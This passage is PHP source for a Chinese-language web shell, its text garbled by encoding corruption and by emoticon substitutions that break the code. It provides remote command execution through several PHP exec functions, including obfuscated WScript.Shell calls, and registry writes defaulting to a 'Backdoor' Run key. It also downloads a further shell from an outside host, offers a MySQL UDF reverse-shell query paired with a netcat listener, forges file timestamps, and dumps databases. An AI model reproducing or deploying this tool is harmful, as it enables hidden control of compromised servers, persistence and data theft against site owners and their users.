$action = "?dir=".urlencode($dir)."&file=".$file;
$tb->tableheader();
$tb->formheader($action,'ĐÞ¸ÄÎļþÊôĐÔ');
$tb->tdbody('ĐÞ¸Ä '.$file.' µÄÊôĐÔΪ: '.$tb->makeinput('fileperm',substr(base_convert(fileperms($dir.'/'.$file),10,8),-4)));
$tb->makehidden('file',$file);
$tb->makehidden('dir',urlencode($dir));
$tb->makehidden('do','editfileperm');
$tb->formfooter('1','30');
}//end fileperm

elseif ($_GET['action'] == "newtime"Wink {
$action = "?dir=".urlencode($dir);
$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
$tb->tableheader();
$tb->formheader($action,'¿Ë¡Îļþ×îºóĐÞ¸Äʱ¼ä');
$tb->tdbody("ĐÞ¸ÄÎļþ: ".$tb->makeinput('curfile',$file,'readonly')." ¡ú Ä¿±êÎļþ: ".$tb->makeinput('tarfile','ĐčÌîÍêÕû·¾¶¼°ÎļþÃû'),'center','2','30');
$tb->makehidden('do','domodtime');
$tb->formfooter('','30');
$tb->formheader($action,'×Ô¶¨ÒåÎļþ×îºóĐÞ¸Äʱ¼ä');
$tb->tdbody('
  • ÓĐЧµÄʱ¼ä´ÁµäĐÍ·¶Î§ÊÇ´Ó¸ñÁÖÍþÖÎʱ¼ä 1901 Äê 12 Ô 13 ČÕ ĐÇĆÚÎå 20:45:54 µ½ 2038Äê 1 Ô 19 ČÕ ĐÇĆÚ¶þ 03:14:07
    (¸ÃČÕĆÚ¸ù¾Ý 32 λÓĐ·ûºÅÕûÊýµÄ×îĐ¡ÖµºÍ×î´óÖµ¶øÀ´)
  • ˵Ã÷: ČÕČ¡ 01 µ½ 30 Ö®¼ä, Ê±Č¡ 0 µ½ 24 Ö®¼ä, ·ÖºÍÃëČ¡ 0 µ½ 60 Ö®¼ä!
','left');
$tb->tdbody('µ±Ç°ÎļþÃû: '.$file);
$tb->makehidden('curfile',$file);
$tb->tdbody('ĐÞ¸ÄΪ: '.$tb->makeinput('year','1984','','text','4').' Äê '.$tb->makeselect(array('name'=>'month','option'=>$cachemonth,'selected'=>'October')).' Ô '.$tb->makeinput('data','18','','text','2').' ČÕ '.$tb->makeinput('hour','20','','text','2').' ʱ '.$tb->makeinput('minute','00','','text','2').' ·Ö '.$tb->makeinput('second','00','','text','2').' Ãë','center','2','30');
$tb->makehidden('do','modmytime');
$tb->formfooter('1','30');
}//end newtime

elseif ($_GET['action'] == "shell"Wink {
$action = "??action=shell&dir=".urlencode($dir);
$tb->tableheader();
$tb->tdheader('WebShell Mode');
if (substr(PHP_OS, 0, 3) == 'WIN') {
$program = isset($_POST['program']) ? $_POST['program'] : "c:\winnt\system32\cmd.exe";
$prog = isset($_POST['prog']) ? $_POST['prog'] : "/c net start > ".$pathname."/log.txt";
echo "<form action=\"?action=shell&dir=".urlencode($dir)."\" method=\"POST\">\n";
$tb->tdbody('ÎÞ»ØÏÔÔËĐĐ³ÌĐò ¡ú Îļþ: '.$tb->makeinput('program',$program).' ²ÎÊý: '.$tb->makeinput('prog',$prog,'','text','40').' '.$tb->makeinput('','Run','','submit'),'center','2','35');
$tb->makehidden('do','programrun');
echo "</form>\n";
}
echo "<form action=\"?action=shell&dir=".urlencode($dir)."\" method=\"POST\">\n";
if(isset($_POST['cmd'])) $cmd = $_POST['cmd'];
$tb->tdbody('Ìáʾ:Čç¹ûÊä³ö½á¹û²»ÍêČ«,½¨Òé°ÑÊä³ö½á¹ûĐ´ČëÎļþ.ÕâÑù¿ÉÒ ÔµÃµ½Č«²¿ÄÚČÝ. ');
$tb->tdbody('proc_openº¯Êý¼ÙÉč²»ÊÇĬČϵÄwinntϵͳÇë×ÔĐĐÉčÖÃʹÓÃ,×ÔĐĐĐ޸ļǵ ÃĐ´Í˳ö,·ñÔò»áÔÚÖ÷»úÉÏÁôÏÂÒ»¸öδ½áÊøµÄ½ø³Ì.');
$tb->tdbody('proc_openº¯ÊýҪʹÓõÄcmd³ÌĐòµÄλÖÃ:'.$tb->makeinput('cmd',$cmd,'','text','30').'(ÒªÊÇÊÇlinuxϵͳ»¹ÊÇ´ó´óÃÇ×Ô¼ºĐ޸İÉ)');
$execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','wscript'=>'Wscript.Shell','proc_open'=>'proc_open') : array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen','proc_open'=>'proc_open');
$tb->tdbody('Ñ¡ÔñÖ´ĐĐº¯Êý: '.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=>$execfunc)).' ÊäČëÃüÁî: '.$tb->makeinput('command',$_POST['command'],'','text','60').' '.$tb->makeinput('','Run','','submit'));
?>
<tr class="secondalt">
<td align="center"><textarea name="textarea" cols="100" rows="25" readonly><?php
if (!empty($_POST['command'])) {
if ($execfunc=="system"Wink {
system($_POST['command']);
} elseif ($execfunc=="passthru"Wink {
passthru($_POST['command']);
} elseif ($execfunc=="exec"Wink {
$result = exec($_POST['command']);
echo $result;
} elseif ($execfunc=="shell_exec"Wink {
$result=shell_exec($_POST['command']);
echo $result;
} elseif ($execfunc=="popen"Wink {
$pp = popen($_POST['command'], 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
} elseif ($execfunc=="wscript"Wink {
$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM WSHSHELL failed"Wink;
$exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command'].""Wink;
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif($execfunc=="proc_open"Wink{
$descriptorspec = array(
0 => array("pipe", "r"Wink,
1 => array("pipe", "w"Wink,
2 => array("pipe", "w"Wink
);
$process = proc_open("".$_POST['cmd']."", $descriptorspec, $pipes);
if (is_resource($process)) {

// Đ´ÃüÁî
fwrite($pipes[0], "".$_POST['command']."\r\n"Wink;
fwrite($pipes[0], "exit\r\n"Wink;
fclose($pipes[0]);
// ¶ÁČ¡Êä³ö
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);

proc_close($process);
}
} else {
system($_POST['command']);
}
}
?></textarea></td>
</tr>
</form>
</table>
<?php
}//end shell

elseif ($_GET['action'] == "reg"Wink {
$action = '?action=reg';
$regname = isset($_POST['regname']) ? $_POST['regname'] : 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber';
$registre = isset($_POST['registre']) ? $_POST['registre'] : 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Backdoor';
$regval = isset($_POST['regval']) ? $_POST['regval'] : 'c:\winnt\backdoor.exe';
$delregname = $_POST['delregname'];
$tb->tableheader();
$tb->formheader($action,'¶ÁČ¡×¢²á±í');
$tb->tdbody('¼üÖµ: '.$tb->makeinput('readregname',$regname,'','text','100').' '.$tb->makeinput('regread','¶ÁČ¡','','submit'),'center','2','50');
echo "</form>";

$tb->formheader($action,'Đ´Čë×¢²á±í');
$cacheregtype = array('REG_SZ'=>'REG_SZ','REG_BINARY'=>'REG_BINARY','REG_DWORD'=>'REG_DWORD','REG_MULTI_SZ'=>'REG_MULTI_SZ','REG_EXPAND_SZ'=>'REG_EXPAND_SZ');
$tb->tdbody('¼üÖµ: '.$tb->makeinput('writeregname',$registre,'','text','56').' ÀàĐÍ: '.$tb->makeselect(array('name'=>'regtype','option'=>$cacheregtype,'selected'=>$regtype)).' Öµ: '.$tb->makeinput('regval',$regval,'','text','15').' '.$tb->makeinput('regwrite','Đ´Čë','','submit'),'center','2','50');
echo "</form>";

$tb->formheader($action,'ɾ³ý×¢²á±í');
$tb->tdbody('¼üÖµ: '.$tb->makeinput('delregname',$delregname,'','text','100').' '.$tb->makeinput('regdelete','ɾ³ý','','submit'),'center','2','50');
echo "</form>";
$tb->tablefooter();
}//end reg
elseif ($_GET['action'] == "downloads"Wink{
$action = '?action=dir';
$tb->tableheader();
$tb->formheader($action,'httpÎļþÏÂÔØģʽ');
$tb->tdbody('Äã¿ÉÒÔʹÓñ¾¹¦ÄÜ°ÑÒ»Đ©Đ¡¹¤¾ßÒÔhttp·½Ê½ÏÂÔص½´Ë·þÎñĆ÷','center');
$tb->tdbody('ÎļþλÖÃ: '.$tb->makeinput('durl','http://blog.blackwoods.com/miyabi/myshell.txt','','text','70').'
ÏÂÔص½:'.$tb->makeinput('path','./myshell.php','','text','60').''.$tb->makehidden('do','downloads').''.$tb->makeinput('','ÏÂÔØ','','submit'),'center','1','35');
echo "</form>";
$tb->tdbody('×¢Òâ,¼ÙÉčÎļþÌ«´ó½«ÎÞ·¨ÏÂÔØÏÂÀ´¶øÇÒÓ°ÏìÖ´ĐĐËÙ¶Č.','cen ter');
$tb->tablefooter();
}
elseif ($_GET['action'] == "search"Wink{
$action = '?dir='.$dir.'';
$tb->tableheader();
$tb->formheader($action,'Îļþ²éÕÒ');
$tb->tdbody('Äã¿ÉÒÔʹÓñ¾¹¦ÄܲéÕÒÒ»¸öĿ¼ÏµÄÎļþÀïÄÄĐ´Îļþ°üº¬×Å¹Ø ¼ü´Ê!','center');
$tb->tdbody('ÎļþλÖÃ: '.$tb->makeinput('path',''.$nowpath.'','','text','70').'
²éÕÒÎÄ×Ö:'.$tb->makeinput('oldkey','ϼú','','text','60').''.$tb->makehidden('do','search').'
ÊÇ·ñ¼ĆËãËùÔÚĐĐ<input type="checkbox" name="type" value="list" onclick="javascript:alert(\'Ñ¡¶¨´Ë´¦½«»áÁĐ³ö¹Ø¼ü´ÊÔÚËùÔÚÎļþµÄ¶àÉÙĐĐ,ºÍËùÔÚµÄÄÇÎÄ ¼þÓжàÉÙĐĐ½øĐбȶÔ\\n\\n¸ñʽΪ:[ËùÔÚĐĐ/Îļþ×ÜĐĐ]ÀýČç[12 /99],ÓÃÀ´½øĐĐ·ÖÎö.\\n\\n´Ë¹¦ÄÜ¿ÉÄÜ»áÔö¼ÓÒ»²¿·ÖµÄÑÓʱ,Çë ¿¼ÂÇʹÓÃ,ûÓĐ¿É¶ÁȨÏÞ½«³ö´í!\')"> (´Ë¹¦ÄܺÍÏÂÃćÒ»¸ö¹¦ÄÜ»áÓ°ÏìÖ´ĐĐËÙ¶Č£¬ËùÒÔĬČϹرÕ!)
Êʵ±¶ÁČ¡:<input type="checkbox" name="type2" value="getpath" onclick="javascript:alert(\'Ñ¡¶¨´Ë´¦½«»áÁĐ³ö¹Ø¼ü´ÊÔÚËùÔÚλÖü°ÄãÉ趨½áÊøÇøÓòÄڵIJ ¿·Ö×Ö·û..\\n\\n²ÉČ¡´Ë¹¦ÄܲéÕÒÍêÎļþºó°ÑÊó±êÒƶ¯µ½ÕÒµ½µÄ ÎļþÃûÉϼ´¿É¶ÁČ¡·ÖÎö....\\n\\n´Ë¹¦ÄÜ¿ÉÄÜ»áÔö¼ÓÒ»²¿·ÖµÄÑ Óʱ,Ç뿼ÂÇʹÓÃ,ûÓĐ¿É¶ÁȨÏÞ½«³ö´í!\')"> ¶ÁČ¡¹Ø¼ü´ÊÇ°'.$tb->makeinput('beline','0','','text','3').'¸ö×Ö·û '.$tb->makehidden('dir',''.$dir.'').'µ½¹Ø¼ü´ÊºóµÚ'.$tb->makeinput('endline','10','','text','3').'¸ö×Ö·û... '.$tb->makehidden('dir',''.$dir.'').''.$tb->makeinput('','¿ªÊ¼²éÕÒÎļþ','','submit'),'center','1','35');
echo "</form>";
$tb->tdbody('Çë±íÌ«´óµÄĿ¼ÁË£¬ÂýÂýä¯ÀÀÂýÂýÕҺò»ºÃÂï.¼ÙÉčÑ¡¶¨¼ĆËãĐ ĐËÙ¶Č»áÂý¡£ÏÔʾ[ËùÔÚĐĐ/×ܹ²¶àÉÙĐĐ]','center');
$tb->tablefooter();
}
elseif ($_GET['action'] == "proxy"Wink {
$action = '?action=proxy';
$tb->tableheader();
$tb->formheader($action,'ÔÚÏß´úÀí','proxyframe');
$tb->tdbody('
  • Óñ¾¹¦ÄܽöʵÏÖ¼òµ¥µÄ HTTP ´úÀí,²»»áÏÔʾʹÓÃÏà¶Ô·¾¶µÄÍ¼Ć¬¡¢Á´½Ó¼°CSSÑùʽ±í.
  • Óñ¾¹¦ÄÜ¿ÉÒÔͨ¹ý±¾·þÎñĆ÷ä¯ÀÀÄ¿±êURL,µ«²»Ö§³Ö SQL Injection ̽²âÒÔ¼°Ä³Đ©ÌØÊâ×Ö·û.
  • Óñ¾¹¦ÄÜä¯ÀÀµÄ URL,ÔÚÄ¿±êÖ÷»úÉÏÁôϵÄIP¼Ç¼ÊÇ : '.$_SERVER['REMOTE_ADDR'].'
','left');
$tb->tdbody('URL: '.$tb->makeinput('url','http://www.4ngel.net','','text','100').' '.$tb->makeinput('','ä¯ÀÀ','','submit'),'center','1','40');
$tb->tdbody('');
echo "</form>";
$tb->tablefooter();
}//end proxy

elseif ($_GET['action'] == "sql"Wink {
$action = '?action=sql';

$servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost';
$dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root';
$dbpassword = $_POST['dbpassword'];
$dbname = $_POST['dbname'];
$sql_query = $_POST['sql_query'];
if($type=="fun"Wink{
$sql_query = "CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\Winnt\\Mix.dll';
select Mixconnect('".$_SERVER['REMOTE_ADDR']."','8888');/*Õâ¸ö×îºÃÏČÖ´ĐĐÁËÉÏÃćÒ»¾äÔÙÓÃ*/
/*ÇëÔÚÄã¼ĆËã»úÉÏÖ´ĐĐ nc -vv -l -p 8888*/";
}
$tb->tableheader();
$tb->formheader($action,'Ö´ĐĐ SQL Óï¾ä');
$tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','Á¬½Ó','','submit'));
$tb->tdbody($tb->maketextarea('sql_query',$sql_query,'85','10'));
$tb->makehidden('do','query');
$tb->formfooter('1','30');
}//end sql query

elseif ($_GET['action'] == "sqlbak"Wink {
$action = '?action=sqlbak';
$servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost';
$dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root';
$dbpassword = $_POST['dbpassword'];
$dbname = $_POST['dbname'];
$tb->tableheader();
$tb->formheader($action,'±¸·Ý MySQL Êý¾Ý¿â');
$tb->tdbody('Host: '.$tb->makeinput('servername',$servername,'','text','20').' User: '.$tb->makeinput('dbusername',$dbusername,'','text','15').' Pass: '.$tb->makeinput('dbpassword',$dbpassword,'','text','15').' DB: '.$tb->makeinput('dbname',$dbname,'','text','15').' '.$tb->makeinput('connect','Á¬½Ó','','submit'));
@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname);
$tables = @mysql_list_tables($dbname);
while ($table = @mysql_fetch_row($tables)) {
$cachetables[$table[0]] = $table[0];
}
@mysql_free_result($tables);
if (empty($cachetables)) {
$tb->tdbody('ÄúûÓĐÁ¬½ÓÊý¾Ý¿â or µ±Ç°Êý¾Ý¿âûÓĐČκÎÊý¾Ý±í');
} else {
$tb->tdbody('<table border="0" cellpadding="3" cellspacing="1"><tr><td valign="top">ÇëÑ¡Ôñ±í:</td><td>'.$tb->makeselect(array('name'=>'table[]','option'=>$cachetables,'multiple'=>1,'size'=>15,'css'=>1)).'</td></tr><tr nowrap><td><input type="radio" name="backuptype" value="server" checked> ±¸·ÝÊý¾ÝËù±£´ćµÄ·¾¶:</td><td>'.$tb->makeinput('path',$pathname.'/'.$_SERVER['HTTP_HOST'].'_MySQL.sql','','text','50').'</td></tr><tr nowrap><td colspan="2"><input type="radio" name="backuptype" value="download"> Ö±½ÓÏÂÔص½±¾µØ (ÊʺÏÊý¾ÝÁ¿½ÏĐ¡µÄÊý¾Ý¿â)</td></tr></table>');
$tb->makehidden('do','backupmysql');
$tb->formfooter('0','30');
}
$tb->tablefooter();
@mysql_close();
}//end sql backup

elseif ($_GET['action'] == "phpenv"Wink {
$user = " ÒÔÃâcrushµã´Ë»ñČ¡µ±Ç°½ø³ÌÓû§Ãû ";
$upsize=get_cfg_var("file_uploads"Wink ? get_cfg_var("upload_max_filesize"Wink : "²»ÔÊĐíÉÏ´«";
$adminmail=(isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "<a href=\"mailto:".get_cfg_var("sendmail_from"Wink."\">".get_cfg_var("sendmail_from"Wink."";
if ($dis_func == ""Wink {
$dis_func = "No";
}else {
$dis_func = str_replace(" ","
",$dis_func);
$dis_func = str_replace(",","
",$dis_func);
}
$phpinfo=(!eregi("phpinfo",$dis_func)) ? "Yes" : "No";
$info = array(
0 => array("µ±Ç°php½ø³ÌÓû§",$user),
1 => array("·þÎñĆ÷²Ù×÷ϵͳ",PHP_OS),
2 => array("·þÎñĆ÷ʱ¼ä",date("YÄêmÔÂdČÕ h:i:s",time())),
3 => array("·þÎñĆ÷ÓòÃû","".$_SERVER['SERVER_NAME'].""Wink,
4 => array("·þÎñĆ÷IPµØÖ·",gethostbyname($_SERVER['SERVER_NAME'])),
5 => array("·þÎñĆ÷²Ù×÷ϵͳÎÄ×Ö±àÂë",$_SERVER['HTTP_ACCEPT_LANGUAGE']),
6 => array("·þÎñĆ÷½âÒëÒýÇć",$_SERVER['SERVER_SOFTWARE']),
7 => array("Web·þÎñ¶Ë¿Ú",$_SERVER['SERVER_PORT']),
8 => array("PHPÔËĐĐ·½Ê½",strtoupper(php_sapi_name())),
9 => array("PHP°ć±¾",PHP_VERSION),
10 => array("ÔËĐĐÓÚ°²Č«Ä£Ê½",getphpcfg("safemode"Wink),
11 => array("·þÎñĆ÷¹ÜÀíÔ±",$adminmail),
12 => array("±¾Îļþ·¾¶",__FILE__),
13 => array("ÔÊĐíʹÓà URL ´ò¿ªÎļþ allow_url_fopen",getphpcfg("allow_url_fopen"Wink),
14 => array("ÔÊĐí¶¯Ì¬¼ÓÔØÁ´½Ó¿â enable_dl",getphpcfg("enable_dl"Wink),
15 => array("ÏÔʾ´íÎóĐÅÏ¢ display_errors",getphpcfg("display_errors"Wink),
16 => array("×Ô¶¯¶¨ÒåČ«¾Ö±äÁ¿ register_globals",getphpcfg("register_globals"Wink),
17 => array("magic_quotes_gpc",getphpcfg("magic_quotes_gpc"Wink),
18 => array("³ÌĐò×î¶àÔÊĐíʹÓÃÄÚ´ćÁ¿ memory_limit",getphpcfg("memory_limit"Wink),
19 => array("POST×î´ó×Ö½ÚÊý post_max_size",getphpcfg("post_max_size"Wink),
20 => array("ÔÊĐí×î´óÉÏ´«Îļþ upload_max_filesize",$upsize),
21 => array("³ÌĐò×ÔËĐĐʱ¼ä max_execution_time",getphpcfg("max_execution_time"Wink."Ãë"Wink,
22 => array("±»½ûÓõĺ¯Êý disable_functions",$dis_func),
23 => array("phpinfo()",$phpinfo),
24 => array("Ä¿Ç°»¹ÓĐ¿ÕÓà¿Õ¼ädiskfreespace",intval(diskfreespace("."Wink / (1024 * 1024)).'Mb'),
25 => array("ͼĐδ¦Àí GD Library",getfun("imageline"Wink),
26 => array("IMAPµç×ÓÓʼþϵͳ",getfun("imap_close"Wink),
27 => array("MySQLÊý¾Ý¿â",getfun("mysql_close"Wink),
28 => array("SyBaseÊý¾Ý¿â",getfun("sybase_close"Wink),
29 => array("OracleÊý¾Ý¿â",getfun("ora_close"Wink),
30 => array("Oracle 8 Êý¾Ý¿â",getfun("OCILogOff"Wink),
31 => array("PRELÏàČÝÓï·¨ PCRE",getfun("preg_match"Wink),
32 => array("PDFÎĵµÖ§³Ö",getfun("pdf_close"Wink),
33 => array("Postgre SQLÊý¾Ý¿â",getfun("pg_close"Wink),
34 => array("SNMPÍøÂç¹ÜÀíĐ­Òé",getfun("snmpget"Wink),
35 => array("ѹËõÎļþÖ§³Ö(Zlib)",getfun("gzclose"Wink),
36 => array("XML½âÎö",getfun("xml_set_object"Wink),
37 => array("FTP",getfun("ftp_login"Wink),
38 => array("ODBCÊý¾Ý¿âÁ¬½Ó",getfun("odbc_close"Wink),
39 => array("SessionÖ§³Ö",getfun("session_start"Wink),
40 => array("SocketÖ§³Ö",getfun("fsockopen"Wink),
);
$tb->tableheader();
echo "<form action=\"?action=phpenv\" method=\"POST\">\n";
$tb->tdbody('²é¿´PHPÅäÖòÎÊý×´¿ö','left','1','30','style="padding-left: 5px;"');
$tb->tdbody('ÇëÊäČëÅäÖòÎÊý(Čç:magic_quotes_gpc): '.$tb->makeinput('phpvarname','','','text','40').' '.$tb->makeinput('','²é¿´','','submit'),'left','2','30','style="padding-left: 5px;"');
$tb->makehidden('do','viewphpvar');
echo "</form>\n";
$hp = array(0=> '·þÎñĆ÷ÌØĐÔ', 1=> 'PHP»ù±¾ÌØĐÔ', 2=> '×é¼þÖ§³Ö×´¿ö');
for ($a=0;$a<3;$a++) {
$tb->tdbody(''.$hp[1].'','left','1','30','style="padding-left: 5px;"');
?>
<tr class="secondalt">
<td>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<?php
if ($a==0) {
for($i=0;$i<=12;$i++) {
echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
}
} elseif ($a == 1) {
for ($i=13;$i<=24;$i++) {
echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
}
} elseif ($a == 2) {
for ($i=25;$i<=40;$i++) {
echo "<tr><td width=40% style=\"padding-left: 5px;\">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
}
}
?>
</table>
</td>
</tr>
<?php
}//for
echo "</table>";
}//end phpenv
?>

<table width="775" border="0" cellpadding="0">
<tr>
<td>Copyright (C) 2005 Sai All Rights Reserved.</td>
<td align="right"><?php
debuginfo();
ob_end_flush();
?></td>
</tr>
</table>

</body>
</html>

<?php

/*===================================================== =
º¯Êý¿â
======================================================* /

// µÇ½Čë¿Ú
function loginpage() {
?>
<style type="text/css">
input {font-family: "Verdana";font-size: "11px";BACKGROUND-COLOR: "#FFFFFF";height: "18px";border: "1px solid #666666";}
</style>
<form method="POST" action="">
<span style="font-size: 11px; font-family: Verdana">Password: <input name="adminpass" type="password" size="20">
<input type="hidden" name="do" value="login">
<input type="submit" value="Login">
</form>
<?php
exit;
}//end loginpage()

// Ò³Ãćµ÷ÊÔĐÅÏ¢
function debuginfo() {
global $starttime;
$mtime = explode(' ', microtime());
$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
echo "Processed in $totaltime second(s)";
}

// Č¥µôתÒå×Ö·û
function stripslashes_array(&$array) {
while(list($key,$var) = each($array)) {
if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key"Wink) {
if (is_string($var)) {
$array[$key] = stripslashes($var);
}
if (is_array($var)) {
$array[$key] = stripslashes_array($var);
}
}
}
return $array;
}

// ɾ³ýĿ¼
function deltree($deldir) {
$mydir=@dir($deldir);
while($file=$mydir->read()) {
if((is_dir("$deldir/$file"Wink) AND ($file!="."Wink AND ($file!=".."Wink) {
@chmod("$deldir/$file",0777);
deltree("$deldir/$file"Wink;
}
if (is_file("$deldir/$file"Wink) {
@chmod("$deldir/$file",0777);
@unlink("$deldir/$file"Wink;
}
}
$mydir->close();
@chmod("$deldir",0777);
return (@rmdir($deldir)) ? 1 : 0;
}

// ÅĐ¶Ï¶ÁĐ´Çé¿ö
function dir_writeable($dir) {
if (!is_dir($dir)) {
@mkdir($dir, 0777);
}
if(is_dir($dir)) {
if ($fp = @fopen("$dir/test.txt", 'w')) {
@fclose($fp);
@unlink("$dir/test.txt"Wink;
$writeable = 1;
} else {
$writeable = 0;
}
}
return $writeable;
}

// ±í¸ñĐĐ¼äµÄ±³¾°É«Ìć»»
function getrowbg() {
global $bgcounter;
if ($bgcounter++%2==0) {
return "firstalt";
} else {
return "secondalt";
}
}

// »ñČ¡µ±Ç°µÄÎļþϵͳ·¾¶
function getPath($mainpath, $relativepath) {
global $dir;
$mainpath_info = explode('/', $mainpath);
$relativepath_info = explode('/', $relativepath);
$relativepath_info_count = count($relativepath_info);
for ($i=0; $i<$relativepath_info_count; $i++) {
if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue;
if ($relativepath_info[$i] == '..') {
$mainpath_info_count = count($mainpath_info);
unset($mainpath_info[$mainpath_info_count-1]);
continue;
}
$mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
} //end for
return implode('/', $mainpath_info);
}

// ¼ì²éPHPÅäÖòÎÊý
function getphpcfg($varname) {
switch($result = get_cfg_var($varname)) {
case 0:
return "No";
break;
case 1:
return "Yes";
break;
default:
return $result;
break;
}
}

// ¼ì²éº¯ÊýÇé¿ö
function getfun($funName) {
return (false !== function_exists($funName)) ? "Yes" : "No";
}

// ѹËõ´ò°üÀà
class PHPZip{
var $out='';
function PHPZip($dir) {
if (@function_exists('gzcompress')) {
$curdir = getcwd();
if (is_array($dir)) $filelist = $dir;
else{
$filelist=$this -> GetFileList($dir);//ÎļþÁбí
foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
}
if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
else chdir($curdir);
if (count($filelist)>0){
foreach($filelist as $filename){
if (is_file($filename)){
$fd = fopen ($filename, "r"Wink;
$content = @fread ($fd, filesize ($filename));
fclose ($fd);
if (is_array($dir)) $filename = basename($filename);
$this -> addFile($content, $filename);
}
}
$this->out = $this -> file();
chdir($curdir);
}
return 1;
}
else return 0;
}

// »ñµÃÖ¸¶¨Ä¿Â¼ÎļþÁбí
function GetFileList($dir){
static $a;
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if($file!='.' && $file!='..'){
$f=$dir .'/'. $file;
if(is_dir($f)) $this->GetFileList($f);
$a[]=$f;
}
}
closedir($dh);
}
}
return $a;
}

var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;

function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
} // end if
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}

function addFile($data, $name, $time = 0) {
$name = str_replace('\\', '/', $name);

$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;

$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$fr .= pack('v', strlen($name));
$fr .= pack('v', 0);
$fr .= $name;

$fr .= $zdata;

$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);

$this -> datasec[] = $fr;
$new_offset = strlen(implode('', $this->datasec));

$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name) );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('V', 32 );
$cdrec .= pack('V', $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;

$this -> ctrl_dir[] = $cdrec;
}

function file() {
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return
$data .
$ctrldir .
$this -> eof_ctrl_dir .
pack('v', sizeof($this -> ctrl_dir)) .
pack('v', sizeof($this -> ctrl_dir)) .
pack('V', strlen($ctrldir)) .
pack('V', strlen($data)) .
"\x00\x00";
}
}

// ±¸·ÝÊý¾Ý¿â
function sqldumptable($table, $fp=0) {
$tabledump = "DROP TABLE IF EXISTS $table;\n";
$tabledump .= "CREATE TABLE $table (\n";

$firstfield=1;

$fields = mysql_query("SHOW FIELDS FROM $table"Wink;
while ($field = mysql_fetch_array($fields)) {
if (!$firstfield) {
$tabledump .= ",\n";
} else {
$firstfield=0;
}
$tabledump .= " $field[Field] $field[Type]";
if (!empty($field["Default"])) {
$tabledump .= " DEFAULT '$field[Default]'";
}
if ($field['Null'] != "YES"Wink {
$tabledump .= " NOT NULL";
}
